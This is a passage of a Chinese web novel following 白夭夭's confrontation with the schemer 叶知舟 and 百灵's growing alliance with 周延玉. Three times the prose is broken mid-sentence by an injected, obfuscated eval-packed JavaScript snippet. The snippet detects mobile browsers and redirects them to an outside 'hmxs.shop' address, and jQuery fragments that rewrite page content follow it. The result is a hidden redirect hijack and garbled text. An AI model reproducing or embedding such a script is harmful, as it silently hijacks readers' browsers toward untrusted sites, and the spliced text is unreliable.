“和我没关系,让你失望了,我并不是什么关系户。我的家人……并不支持我学画皮。” 宋清河语气平静,用词谦卑,却字字清晰不显怯懦。 她并不觉得自己有何亏欠或隐瞒。组队本是双方自愿,不是她一个人的决定。 “我并非那个意思,”百灵耐心解释,“我只是想弄清楚叶知舟究竟想干什么,他是个精于算计的商人,从不做无谓之举。” “那也许是因为我们家没有私底下给他贿赂吧。” 这也许是原因之一,但还不够。 百灵之所以会在宋清河面前谈到叶知舟,又故意把针对的话题往她身上引,是想先洗脱自己的嫌疑。 冥冥之中她有种直觉——叶知舟,是冲着她来的。 “看来……我们缘分尚浅。” 宋清河忽然轻声叹息。 “什么?”百灵微微睁大眼睛,露出不解的神情。 “要输了,准备回去收拾包裹,分道扬镳吧吧。” 很显然,因为百灵的引导,宋清河相信了是自己的原因,而且凭借着对家人的了解,一旦他们知道自己私自参加画皮比试,别说贿赂,肯定会千方百计的阻止。 “不,我们一定会赢的,至少会到最后一场比赛。” 这场比试无疑是叶知舟的一次挑衅,有了第一次就会有第二次,第三次。 百灵心中蓦地升起一股斗志。 她向来是个不服输,还有极强挑战欲的人,叶知舟既然通过这场比赛向她宣战,那么她只有两条路可以走,要么臣服,要么抗争。 而她,必定选择第二条。 宋清河不明白百灵这突如其来的自信源于何处。 “等着看吧,宋小姐,”百灵唇角微扬,眯起眼露出清浅而笃定的笑意,“我们一定会赢。你我之间的缘分还未尽。” “……”宋清河沉默着,神色复杂。 角落里,周延玉默然听完全程,先一步返回等候室。 “君……不对,”卫影急忙改口,压低声音问,“她们方才出去说了什么?可曾怀疑我们的身份?” 自打在比试中察觉妖鬼附体的痕迹,他便一直心神不宁,不祥的预感如影随形。 “放心,她们还没察觉。” 周延玉并未全盘托出,他知道宋清河暂时不会怀疑他们,但是百灵早已知晓。 从卫影配合她做标记时,她估计就猜到了七七八八。 周延玉是个谨慎的人,他完全可以自己一个人标记全部,看似犯蠢把卫影拉进来,不过是想试探百灵会不会替卫影也保守秘密。 通过刚才的对话百灵已经成功通过了考验。 “那就好。”卫影长舒一口气,悬着的心终于落下,转而好奇道,“君上,你说我们这场比试能赢吗?” “能。” 周延玉的回答与百灵如出一辙。 倒不是因为他受到百灵的影响,而是有自己的想法。 从他离开妖界来到冥界以来,接二连三发生妖怪夺舍寄生的事件,他决不相信这些只是巧合。 如果说今天的比试只是偶然,让他碰巧遇上,那么之后这些偶然都将转化为必然。 不管这样的设计是针对宋清河也好,百灵也罢,今后都必将与他产生千丝万缕的关联。 周延玉不愿承认,却心知肚明:他与卫影的身份,实则已部分暴露。 连宋清河都疑心他们如何识得标记,更何况幕后之人? 眼下唯有步步为营,以身作饵,引蛇出洞。 叶知舟...... 百灵所提到的这个人,极为关键。 必须尽快摸清他的底细。 面对周延玉的笃定,卫影自然没有质疑,单纯以为赢下比赛是百灵急中生智的功劳。 “从今日起,我们要更谨慎行事,明白吗?”周延玉语气严厉,叮嘱道,“别再让我从你嘴里听到一句不该说的称呼。” “是......明白。”卫影宛如一只犯错了小狗,委屈低下头闷闷应声。 不是他非要旧称不改,实在是化名难以启齿。 …… 与此同时,另有一人也正迫切等待着他们的比试结果—— 白夭夭。 她没空来观看比试,但也从其他人口中打探出了个大概。 灵姐果然被人做局了。 如此一来,她更确信是叶知舟在背后操纵。 他这种人,什么缺德事干不出来? 至于缘由…… 莫非是忮忌灵姐的才华吗? 她越想越觉得不安,指尖无意识地掐紧了衣袖。叶知舟此人行事诡谲、唯利是图,绝不会无的放矢,他既然出手针对百灵,必有所图谋。 不能再等下去了。 白夭夭倏地站起身,眼中闪过一丝决绝。她得去会一会叶知舟,无论他用什么手段,她都必须替百灵探出点虚实来。 纵使她心中尚存怨气,但事情孰轻孰重她还是能分清的。 可叶知舟也不是谁想见就见的,连那些达官贵人塞钱都不一定能见到,更别说白夭夭这个一穷二白的孤儿了。 夭夭立刻想到了一个关键人物:大虎。 平日里受到的骚扰总算有点用了。 这傻大个每天定期会和叶知舟见面,使点法子跟踪过去不就行了吗。 她快步走出房门,身影迅速汇入街巷之中。 她在一个看似寻常的巷口停下了脚步,这里是大虎每日巡逻的必经之路。 她本不该知道,可大虎缠人精一样三天两头在她跟前蹦跶,经常向自己汇报自己的去处,还嘱托她随时可以来找自己。 她拢了拢衣衫,深吸一口气,脸上迅速切换出一种恰到好处的、带着点惊慌又强作镇定的表情。 没过多久,一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16725514|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高大壮硕、脑瓜似乎不太灵光的身影果然晃晃悠悠地走了过来,正是大虎。 “呀!”白夭夭看准时机,低头惊呼一声,假装脚下被什么绊了一下,一个趔趄恰好挡在了大虎身前。 大虎一愣,粗声粗气道:“谁啊?敢挡你虎爷的路,不要命了!” 话没说完,他眯缝着眼凑近一看,脸上顿时堆起傻笑:“咦?是夭夭妹子啊!怎么,今天终于想通了,肯跟你虎爷我……” “大虎哥!”白夭夭抢先一步打断他,语气带着刻意压低的慌乱,眼神还不住地往身后瞟,仿佛在躲着什么,“别出声,我好像惹上了麻烦,有人在跟踪我!” 她一把抓住大虎粗壮的手臂,躲到他身后,手指微微发颤地指向来的方向,那里除了微风吹过的地上几片落叶之外,空无一物。 “啥?哪个不开眼的敢动我夭夭妹子!”大虎的眉毛立刻竖了起来,表现欲空前高涨。 他挺起厚实的胸膛,努力想看清白夭夭指的方向:“在哪呢?看虎爷我不揍扁他!” “好像,又不见了…”白夭夭瑟缩了一下,声音带着后怕,“大虎哥,你这是要去哪?能不能让我跟你一段路?就一段,到安全的地方就行。” 她仰起脸,眼睛里泛着一点点被雾气润湿的光,看上去可怜又可信。 大虎被她这难得的“依赖”弄得晕乎乎的,虚荣心得到了极大满足,立刻把叶知舟的吩咐和警惕心抛到了脑后。 “我当多大点事呢!”他大手一挥,显得格外豪爽,“我正要去找叶老板回话呢,你就跟着我,保管安全!看谁还敢找你麻烦。” “叶老板?”白夭夭适时地流露出恰到好处的惊讶和一丝畏惧,“你去见无忧阁的叶老板,我跟着会不会不太好?他会不会生气?” “怕啥!”大虎把胸脯拍得砰砰响,“叶老板那是大人物,忙得很,才不会管这种小事。你就跟在我后面,没事的。到了地方你就先在旁边等着,我回完话就送你回去。” “那就多谢大虎哥了。”白夭夭低下头,掩饰住眼底一闪而过的得逞光芒,“你人真好。” “嘿嘿,好说好说,走吧!”大虎被这句“人真好”夸得飘飘然,自觉担当起了护花使者的重任,迈开步子往前走,甚至还刻意放慢了速度等白夭夭。 白夭夭乖巧地跟在他身后半步的距离,低眉顺眼,所有的机敏和探查都完美地收敛起来。 计划顺利,一切尽在掌握之中。 两人一前一后走着,各怀心事。 夭夭想利用他找到叶知舟,而大虎也不愿意放过这千载难逢的机会,准备再次向叶知舟讨要白夭夭。 若那叶知舟还是不同意,他就霸王硬上弓。 他从来不知“知足”二字为何意,叶知舟以为自己给了他们在冥界隐藏下去的新身体和身体,自己就要俯首称臣吗? 曾经在妖界他还会惧怕那些强大的妖怪,可在这里他怕什么,叶知舟不就是看上他的能力强大才将他守卫旗下吗? 他叶知舟富可敌国,竟连个小丫头都舍不得给自己,岂有此理。 而且小虎的死一直让他耿耿于怀,那可是他唯一的亲人。 叶知舟虽承诺要给他第一名的新身体,谁知道是不是想以此为诱饵钓着他。 18. 第十八章 幽都罕见地落了大雪,纷纷扬扬下了整整三日,将这座终年晦暗的城池裹上一层刺目的苍白。 一条被积雪掩埋的死胡同深处,气氛却比严寒更加肃杀。一个身形稚嫩的少年被逼至墙角,退无可退。 他身上的衣袍虽能看出昔日的精良做工,绣纹隐约可见风华,却因连日的颠沛与磋磨,早已褴褛不堪,和路边的流浪汉别无二致。 “识相点,把身上值钱的玩意儿都交出来,然后滚蛋!这儿是爷的地盘!” 三五个年纪不大的孩子围住了他,带头的是个身材稍高的少年,嗓音尚带稚气,语气却充满了市井痞徒的狠戾。 面对围困,被逼至墙角的少年神色异常平静。 他缓缓开口,声音清冽,却透着一丝不合时宜的冷静:“我身上倒确实有个小东西,前两日顺手拿的。我不识货,您给瞧瞧,看值不值几个钱?” 说话间,他从胸前内衬里,小心翼翼地掏出一方素净的软帕。 那帕子白得晃眼,边缘还用银线绣着几朵傲雪寒梅,与这污秽的雪地、与他自身的狼狈形成了尖锐的对比。 软帕里明显包裹着某物,他抬手轻轻晃了晃,示意那带头的少年凑近来看。 高个子少年盯着他那张毫无乞儿卑怯、反而过分镇定的脸,又瞥了眼那方精致的帕子,仗着人多势众,一时放松了警惕。 而且用这般物事包裹的,定然不是凡品。 他狐疑地凑上前。就在他靠近的刹那,墙角少年眼神骤冷,手腕猛地一抖,软帕被瞬间抽走。 帕巾下露出的,并非珍宝,而是一把寒光熠熠、刃口异常锋锐的匕首! “啊——!” 惨叫声撕裂了巷道的寂静。 待高个子反应过来,那匕首已精准而狠辣地刺入了他的左眼。 他痛极,捂住受伤的眼睛踉跄后退,若非身后同伴慌忙扶住,早已翻滚在雪地中哀嚎。 这突如其来的反击,将其余人都震慑在原地,一时竟无人动作。 “都他妈愣着干什么!给我上啊!往死里打!”独眼少年怒不可遏,嘶哑着下令。小弟们这才如梦初醒,吼叫着扑向那势单力孤的偷袭者。 后者早已迅速退回收势,在墙角蜷缩成团,用双臂紧紧护住头脸,准备承受接下来的拳脚。 密集的踢打声和闷响瞬间充斥了这个狭小的空间。雪沫被踢得飞扬。 然而,任凭拳脚如雨点般落下,挨打的少年却始终紧咬牙关,不吭一声。 他早已料到敌不过众人。方才的偷袭,不过是在注定被动挨打前,抢先一步讨回点利息,让自己显得不那么狼狈。 也可以算是他的预谋报复,既然横竖都要被欺辱,那便先让对方付出代价。 所幸,他已是死过一回的人,这冥界的□□伤痕虽痛,却不至于让他再死一次。 况且,他暂时拉不下脸面行乞,这一身触目惊心的伤,或许更能轻易撬开旁人的同情心。 “住手!” 四面八方的疼痛,随着一声清亮而带着怒意的女声,戛然而止。 众人动作一顿,循声望去。 白茫茫的雪地映出一个身影。来者是个脸庞圆润的少女,年纪不大,身量未足,却双手叉腰,站在那里自有一股不容小觑的气势。 寒风冻红了她的脸颊,反倒更衬得她肌肤白皙,透着一股鲜活的生命力。 独眼少年作为头领,率先发话,语气极不客气:“这是我杆子的地盘,白夭夭,我劝你少管闲事!” 显然,二人是认识的,只是关系不大融洽。 “这是你的地盘你的不错。”白夭夭毫不示弱,大步上前,积雪在她脚下咯吱作响,她伸手指着墙角蜷缩的人,“但这个人,现在归我罩了!” 蜷缩着的少年身体几不可察地微颤了一下,从手臂的缝隙间漏出半只眼睛,悄悄打量这个陌生的女孩。 他并不认识她。 “你的人!”独眼少年杆子,指着自己凹陷的左眼,声音因痛苦和愤怒而扭曲,“他用刀子废了我的眼睛!既然你敢认领,那就赔钱,否则这事没完!” 白夭夭双臂交叠抱在胸前,下巴微扬,说得理直气壮:“他伤了你一只眼,你们这么多人打他一个,这笔账,两清了。” “两清?”杆子几乎气笑了,连带着伤口又是一阵剧痛,“除非他也废掉一只眼,或者你白夭夭,替他赔上一只眼!这才叫两清!” “杆子,”白夭夭非但没退,反而又逼近一步,几乎站到他面前,声音压低了,却带着冰冷的威胁,“你最好别忘了,这西街一带,我混得比你久。当初若不是我点头,你以为你能在这片地界站稳脚跟?不知早死在哪个角落了……” 她伸出手,毫不客气地拍了拍杆子瘦削且因疼痛和愤怒紧绷的脸颊,动作带着十足的羞辱意味。 “我白夭夭什么性子,你清楚。想保住你右边那只剩下的眼睛,现在就带着你的人,立刻从我眼前消失。” 杆子气得浑身发抖,后槽牙咬得咯咯作响,仅剩的独眼死死瞪着白夭夭,挣扎了足足好几秒,最终所有的愤怒化为不甘的喘息。他狠狠一跺脚。 “好!白夭夭,你有种!你敢收留他,我们往后势不两立!” 摞下这句狠话,他终于捂着伤眼,带着一群心有不甘却不敢造次的小弟,悻悻然地退出了巷子。 纷乱的脚步声远去,巷子里只剩下雪落的细微簌簌声。 白夭夭这才转向墙角那个依旧蜷缩着的身影。 蜷缩在地上的少年,眼见着少女一步步靠近,适时低垂眉眼,抱紧了自己。 “喂,他们走了,没事了。”她的语气比起刚才的凌厉,缓和了不少,但仍带着些不耐烦。 闻言,地上的少年维持着姿势,一动不动。 白夭夭皱了皱眉,蹲下身,声音提高了一些:“喂!听见没有?你是从外面来的吧,这地界各处地盘早划干净了,你在这儿混不出名堂,赶紧换个地方讨生活吧。” 地上的人依旧没有丝毫反应,仿佛冻僵了一般。 白夭夭撇撇嘴,站起身,拍了拍衣摆沾上的雪屑。仁至义尽,她转身准备离开。 “别…别走……” 一声极其微弱、带着颤抖的气音响起,同时,她的裙角被一只因冰冷冻得通红的手轻轻拽住了。 白夭夭被迫停下脚步,语气里的那点耐心消耗殆尽:“你又想怎么样?别真以为我随口一说,你就想赖上我。” 方才情急之下说出口的“我的人”不过是为了唬住那伙人,她可没那份菩萨心肠到处收留来路不明的麻烦。 而且她和杆子这忘恩负义的白眼狼不和已久,借着这件事,也好灭灭杆子的威风,让他知道自己不是好惹的人。 杆子那人欺软怕硬,时不时来骚扰她,抢她东西,经此一事,想来近期不会有什么动作了。 那只手没有松开,反而稍稍用力了些。少年用另一只手臂勉强支撑起半边身子,刻意仰起脸,让她能清晰看到上面青紫交加的伤痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750614|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他艰难地喘息着,每一次呼吸都带着白雾,眼神里的锋芒尽数收敛,只剩下一种易碎的无助和恳求,怯生生地望向她。 “我…我没地方可去。”他声音沙哑,断续地说道,“求你收留我一天,就一天。明…明天我一定走…我保证…” 说罢,他像是耗尽力气般,剧烈地咳嗽起来,单薄的肩膀随着咳嗽不停颤抖,显得愈发可怜。 “……” 他说的话,他的一言一行,早已真真假假搅成一团乱麻,有时连他自己都难以分辨。 周遭的风雪骤然卷起,冷意从肌肤直达骨子里,如细针般扎入肌肤,直透骨髓。他紧闭双眼,如冷风中无处可去的落叶,颤抖飘零。 他猛地睁开眼。 雪景赫然消失不见,取而代之的是熟悉的床幔轮廓,若有似无地钻入鼻息,温和地抚慰着他混沌不堪的思绪。 他支着有些发沉的身体从床上坐起,一眼便瞥见有大半薄被滑落在地。 那股萦绕不散、难以言说的冰冷触感,瞬间有了答案。 他又做梦了。 又是些不堪回首的陈年旧事。 他无数次想忘记自己的过去,这些年来服食过无数据说能抹去记忆的药材汤散,可那些被强行压制的过往,总会从梦境的形式在他午夜梦回,或是小憩的间隙,如虱虫般卷土重来,啃噬他的记忆。 “哒哒哒!”急促的敲门声响起,将床上的叶知舟彻底拉回现实。 “进来。” 门被推开,大虎一脸藏不住的春风得意,连看见叶知舟这张惯常令他厌烦的脸,此刻也莫名顺眼了许多,嘴角不自觉地上扬。 叶知舟误以为他探查到了什么重要情报,眉梢微挑:“有新情况?” “没有。”大虎晃了晃脑袋,如实回禀,“那百灵身边的学徒,我查不到来历。这几日的观察,也没发现有什么奇怪之处。” “不奇怪才是最奇怪的事。”叶知舟指尖轻叩桌面,语气意味深长。 “宋清河呢?”叶知舟接着问。 “也没什么异样,不过她和百灵倒是挺亲近,两人关系似乎不错。” “……”叶知舟不语,只是露出一抹神秘的笑容。 “继续盯紧,不仅是那个学徒,还有宋清河的学徒,都去好好查查。” 叶知舟没有过多解释,只是冰冷的布置任务。 “是。”大虎也懒得追问,瓮声应下。 “下去吧。”叶知舟丝毫没有要客套的意思,开口就是赶人。 “叶老板,你的事说完了,我的事还没说呢。”大虎脸上立刻堆起谄媚的笑容,凑近几步,搓着手道,“其实是件小事,我以前也跟您提过的……” “那就按我曾经的意思办。” 叶知舟完全不吃这套,未等他说完便冷漠地截断话头,语气没有半分转圜的余地。 妖怪那贪婪无度的本性在大虎身上体现得淋漓尽致。叶知舟心知需要利用大虎的爪牙之力,但这绝不意味着他会无限度地容忍和退让。 大虎被这话噎得脸色一僵,所有话语都堵在喉咙口,眼底难以抑制地闪过一丝狠戾凶光,几乎按捺不住要当场显出原形,将这个傲慢的人类撕成碎片。 但终究,碍于彼此之间那点互相利用、心照不宣的脆弱关系,他不敢,也不能在此刻撕破脸皮。 既然明着讨要不行,那就别怪他来暗的。 他就不信,叶知舟会为了白夭夭那样一个无足轻重的小丫头,而舍得放弃他这枚好用的棋子。 19. 第十九章 “叶老板亲口说了,要把你配给我做媳妇。” “什么!” 在门外还在构思如何和叶知舟对峙的白夭夭,被大虎这突如其来的一句砸得措手不及,顷刻间思绪全无。 “叶老板夸我近来办事得力,问我要什么赏。”大虎一本正经地信口开河,粗犷的脸上挤出几分故作深情的憨态,“我便说,金银俗物都不稀罕,只盼着能跟夭夭妹子你安安稳稳过日子。” "我什么时候答应你要和你过日子了?" 白夭夭又惊又怒,彻底失了镇定,指尖几乎戳到大虎鼻子上,厉声斥道:“你少做白日梦!我就是这辈子谁也不跟,也绝无可能跟你在一起!” “这可由不得你说了算。”大虎不怒反笑,仿佛极享受她这般炸毛的模样,“你既是芜月楼的人,去留去从,自然都得听叶老板的安排。除非……你不想在这儿待了?” 夭夭越是反抗不愿意,大虎反而更加兴奋,就像是在进行一场激烈的追逐赛,猎物挣扎越激烈,他越来劲,越想要征服。 “放心呗,夭夭妹子,”他放缓语气,试图软硬兼施,“跟了我,绝不会让你受委屈。往后谁敢欺负你,我头一个不答应!” 可夭夭根本不吃他这一套。 “叶知舟,你给我出来!”她猛地推开大虎,转身便不管不顾地朝着叶知舟的房门冲去,“我知道你在里面,别装聋作哑!” 然而她尚未触及门扉,两侧沉默的守卫已如铁塔般横亘身前,挡住了去路。 大虎也急追上来,从身后一把死死捂住白夭夭的嘴,生怕她情急之下吼出什么不该说的,坏了他的算计。 可人算不如天算,白夭夭那清亮又愤怒的嗓音,早已穿透门板,先一步清晰地传入了内室。 “让她进来。” 门内传来叶知舟平淡无波的声音,听不出喜怒。 守卫闻声即刻收手,默然让开通道。 大虎只得悻悻然松开白夭夭,恨恨地咽下口气,眼神里混合着警告与不甘,死死盯着她,示意她别乱说话。 白夭夭狠狠剜了大虎一眼,随即迈开步子,头也不回地径直朝内室走去。 刚踏入房门,满腔的怒火尚未喷薄而出,一股清冷沉稳的檀香却先一步萦绕而上,侵入她的鼻息。 假惺惺,装什么装,就他这副德行,也配点这等高洁的香?真把自己当成立地成佛的活菩萨了? 她暗自腹诽,心中的厌恶不免又添一层。 叶知舟却仿若未觉,正不紧不慢地将刚沸的开水注入手边的紫砂壶中,热气蒸腾,茶香随之四溢,冲淡了几分空气中的剑拔弩张。 他悠然落座,这才抬首迎上白夭夭那双余怒未消的眸子,随后轻轻笑了一声,招呼道:“来了?坐,喝杯茶,静静心。” 白夭夭自然不会听他使唤。她只猛地向前踏了几步,抬手便粗鲁地一掌拍在桌面上,震得茶具哐当作响。 “你凭什么把我配给大虎?叶知舟,你以为你是谁?我只是在你的芜月楼干活,不是签了卖身契把自己卖给你了!” 叶知舟被她这突如其来的发作弄得怔愣了半秒,随即像是听到了什么极有趣的事情,哑然失笑,摇头否认道:“我何时说过这样的话?” 白夭夭杏眼圆睁,将信将疑:“空口无凭,我怎么知道你现在不是在骗我?” “很简单。”叶知舟好整以暇地把玩着手中的茶盏,眼皮都未抬一下,语气轻松得像在讨论天气,“你若认定我骗了你,那便依从大虎,与他在一起。你若信我......” 他这才抬眸,目光里带着一丝难以捉摸的玩味,“那就当他从未说过那些话,不存在便是。” 叶知舟向来狡猾,最擅长玩弄文字游戏,短短几句,四两拨千斤,便将自己摘得干干净净,反倒将选择的难题和后续的所有可能,轻飘飘地全数抛回给了白夭夭。 “花言巧语!”白夭夭愤然斥道,语气里满是毫不掩饰的讥讽。 叶知舟却充耳不闻,甚至姿态闲适地亲手为她斟了一盏清茶,缓缓推至她面前。 热气氤氲中,他语调平和:“我又不开媒婆铺子,对给下属牵线配婚毫无兴趣。更何况,婚姻大事,讲究的是你情我愿,强扭的瓜不甜,不是吗?” 难得从叶知舟嘴里听到几句像样的人话,可白夭夭依旧觉得此人巧舌如簧,不可轻信。 “那你最好管好你手底下的人,叫他别再三天两头跑来骚扰我!” “可以,没问题。”叶知舟竟想都未想,一口应承下来,爽快得令人意外。 白夭夭惊于他的爽快,在心里暗自揣测他不是诓自己吧。 “你这头发,补得还不错,瞧不出什么痕迹,在哪补的?” 叶知舟忽然转换话题,目光落在她发间开始点评起来了。 那是自然!白夭夭心下冷哼,这可是百灵亲手为她修补的。不像他叶知舟开的黑心画皮铺子,用的不知道哪来的毛发。 “是百灵补的。”提到百灵,白夭夭顺势将话头引回正题,质问道,“我问你,到底对百灵安的什么心?为什么偷偷设计让她参加要学徒的比试,又为什么暗中给她使绊子?” 叶知舟并未直接回答,而是反问道:“你很在意她?” “我不在意她,难道在意你吗?”夭夭不客气呛了回去。 面对羞辱,叶知舟依旧是那副波澜不惊的神色。 “她是个难得的人才,我欣赏她,仅此而已。”他淡然解释,语气轻描淡写。 “欣赏她?”白夭夭白嗤笑一声,“欣赏她就是要背地里给她使绊子是吗?你这欣赏还真是特立独行啊。” “那不过是为了磨练她。若她真有能耐,这点困难算什么。” “呵,你可真会为自己的不择手段找借口,叶知舟。”白夭夭对他冠冕堂皇的说辞嗤之以鼻。 “这是第六次......”叶知舟轻呷了一口茶,缓缓抬眼,目光与白夭夭直直对上。 “什么?”白夭夭满脸不解。 “今日,你这是第六次对我出言不逊。”叶知舟收起了和气,皮笑肉不笑地说道,“我的耐心,是有限度的。” “所以呢,你准备把我怎么样?” 白夭夭在幽都无亲无故,无所牵挂,因此胆子格外的大,有时连她自己都震惊。 “你既然那么在乎那个百灵,我不介意让她输得很惨。”叶知舟唇角勾起一抹冰冷的弧度,“甚至是,让她在冥界都混不下去。” “你混蛋!”白夭夭破口大骂。 “混蛋正听着呢。”叶知舟竟欣然对号入座,笑着看白夭夭跳脚骂他,不气不恼,眼底甚至闪过一丝享受的玩味。 变态……这人简直是个变态! 白夭夭只觉一记重拳砸在棉花上,胸中那口恶气堵着不上不下,憋闷得厉害。 “开个玩笑罢了。”叶知舟的笑容愈发猖狂,带着几分病态的执拗,“你和百灵,都是难得的人才。无论是嫁人也好,使绊子也罢,我怎么会舍得放过呢?” 真是疯了。 白夭夭此刻才彻底醒悟,眼前这人根本是个疯子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765718|189398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与他进行正常人的沟通纯属徒劳。 她猛地起身,抓起桌上那盏犹自滚烫的茶水,狠狠泼洒在地,随即头也不回地愤然离去。 …… 如百灵所料,她们赢下了初试。 虽然最终的名单尚未张榜公布,但她们一组所得的分数近乎满分,想输都难。 这仅仅是第一场比试。按照百灵的推测,叶知舟那般精于算计,至少会等到最后一轮,待她们被胜利的诱饵一步步钩住,才会再次抛出橄榄枝,劝她入伙。 在前两轮胜利的诱惑之下,极少有人能抗拒最终回合那看似触手可及的蛊惑。 可她百灵不是一般人。 她要赢,也是堂堂正正的赢,即便最终不幸落入叶知舟的算计,未能夺魁,能借此机会打响自家名号,日后自立门户也未必不是一条出路。 更何况,眼下除了求胜,她心中还埋着更深的疑团:叶知舟与那些妖怪之间,究竟藏着什么见不得光的秘密?那四位形主又究竟经历了什么? 也许随着比试的深入,这些困扰她的谜底,终将浮出水面。 夜色渐浓,她燃起灯油,铺开纸笔,准备练习一下画皮,这是个细致的活,主要是描摹五官。 “百灵,你在吗?” 笔尖刚勾勒出一个模糊的轮廓,门外便响起了轻叩声,是小骨的声音。 “我在,稍等。”小心搁下笔,百灵起身开门。 周延玉一反常态,手里端着一盘点心,邀请百灵和她一起品尝。 百灵思考片刻,很快锁定了一件事。 他肯定偷听了白日她与宋清河的谈话! 看着架势,百灵更愿意相信,这是小骨一次谨慎的试探,而非想要拉进关系。 “进来吧。”她侧身让开。 既然躲不过,那便见招拆招。 “你觉得我们能赢吗?”一落座,周延玉便主动开口,语气里带着几分明知故问的试探。 “应该能行,我看这分还挺高。”百灵从容应和,语气平稳无波。 “这么高的分数,你不觉得奇怪吗?”周延玉继续深入,目光紧锁着她。 “实至名归吧。”百灵巧妙地用一句略带自恋的回应,轻飘飘地荡开了他的话锋。 “……”周延玉果然被这不在预期内的回答噎了一下。 “背后或许有人在操控结果,你不会毫无察觉吧?” 委婉试探无果,周延玉不再迂回,选择了单刀直入。 “很有可能,但难说。”百灵给出了一个模棱两可的答案,滴水不漏。 “你认识叶知舟吗?你们之间是什么关系?” 周延玉再度升级问题,语气已然带上了几分审问的意味,似乎默认了她与叶知舟必有牵连。 “有过一面之缘。”百灵选择性说了部分真话,“他曾经想让我进他的画皮铺子干活,我拒绝了他。” “所以他借着比试来报复你?”周延玉顺着推理道。 “有可能。”百灵缓缓点头,随即唇角弯起一抹似笑非笑的弧度,反将一军,“怎么,你害怕了?怕被我牵连吗?” “我不是胆小鬼。”周延玉微微蹙眉,流露出清晰的不满。 “我知道。”百灵一语双关,目光似能看透他,“你无非对那四位感兴趣,这点上,我和你一样。” “你怎么会对妖怪的事感兴趣?”周延玉不信。 “因为他们附身在了鬼身上。”百灵话语微顿,眸底掠过一丝难以捕捉的悲凉,她轻声补充道,“和王二铁一样。” 20. 第二十章 “不大一样。”周延玉凝眉思忖,指尖无意识地在桌面上摩挲,“他们的情况……要严重得多。” “怎么说?”百灵向前倾身,追问道。 “我们虽清除了标记,但他们几乎与活死人无异,灵智混沌,无法行动。” 周延玉的语气沉了下来,似乎暂时卸下了对百灵的防备,“不像王二铁,尚存一丝自我意识,懂得反抗。” 他继续补充说:“附身王二铁的妖怪是想通过循序渐进的方式彻底占有他,慢慢吞噬他的灵魂。但那四位形主所遭遇的,是一种更为霸道、更为急切的侵入方式。” “那他们不会反抗吗?为什么王二铁可以?”百灵再次追问,眉头紧锁。 “……我猜测,”周延玉沉默片刻,声音压得更低,“他们在被彻底夺舍之前,魂魄早已残破不堪,甚至可能只剩一具空壳。因此,才会被如此轻易地、彻底地侵占。” “你的意思是……”百灵倒吸一口凉气,眼中满是难以置信,“他们其实快要魂飞魄散了?” “是。”周延玉给出了一个沉重而肯定的答案。 鬼魂若魂飞魄散,便意味着要么已入轮回转世,要么便是永世不得超生,彻底消散于三界之间。 然而,投胎转世岂是易事?百灵想起姐姐百会,不知积攒了多少功德,才换来一个转世为平凡百姓的渺茫机会。 而这些因外力而魂魄消散的鬼,绝无可能得到这样的机会。 叶知舟他,当真拥有如此可怕的能耐吗? “这些事,是我当前已知的全部。” 周延玉冷不丁开口,打断了百灵的沉思。 这还是小骨第一次用如此坦诚的姿态对她说话。比试时还处处提防,如今怎会突然转了性子? 百灵微侧过头,目光中带着审视与一丝不易察觉的期待,等待着他的下文。 “我需要知道你所了解的全部。” 周延玉终于不再遮掩,主动分享信息本身,便是他递出的投诚信号。 “为什么?”百灵下意识反问,心中仍疑为这是新一轮的试探。 她想说的是,为什么我要告诉你我知道的一切,而不是为什么对方想知道。 周延玉显然理解成了第二种意思。 “因为我需要一个盟友。”他的眼神专注无比,语气里带着罕见的虔诚,甚至有一丝不易察觉的祈求,“一个真正能商议事情的盟友。” 这不是试探,是他深思熟虑后的选择,他在冥界势单力薄,虽和卫影相认,但他心思单纯,难以共谋复杂之事。 百灵则不同,她既肩负着重塑他肉身的重任,又聪明机敏,更与叶知舟有所牵连,于他而言,是眼下最合适的联手对象。 百灵被他郑重的宣言震住了,一时难以分辨其中真心几何。 仅凭她在宋清河面前的几句假惺惺的好话?不可能,他可不像那种轻易被言语打动的妖。 因为那副骨架子吗?也不至于啊,一开始怎么不说结盟呢? “你不愿意?” 见百灵久未回应,周延玉追问了一句,语气中带上了一丝明显的急迫。 “你不是有了一个吗?”百灵壮着胆子,意有所指道,“你们还是同类。” 周延玉显然不意外她知道卫影的存在。 “他没有你靠谱。”他无奈地叹了口气,选择了实话实说。 靠谱? 这回答倒是出乎百灵意料,如果真是这样,她倒是可以考虑和小骨结盟。 小骨实力强大,心思缜密,又知道这么多,肯定不是一般的妖怪,与他结盟的话,那些她好奇的事也许能得以澄清。 而且小骨对妖怪的事了解甚多,弥补了她的空白。 更重要的是,还可以白嫖,以盟友身份坦荡借其妖力。 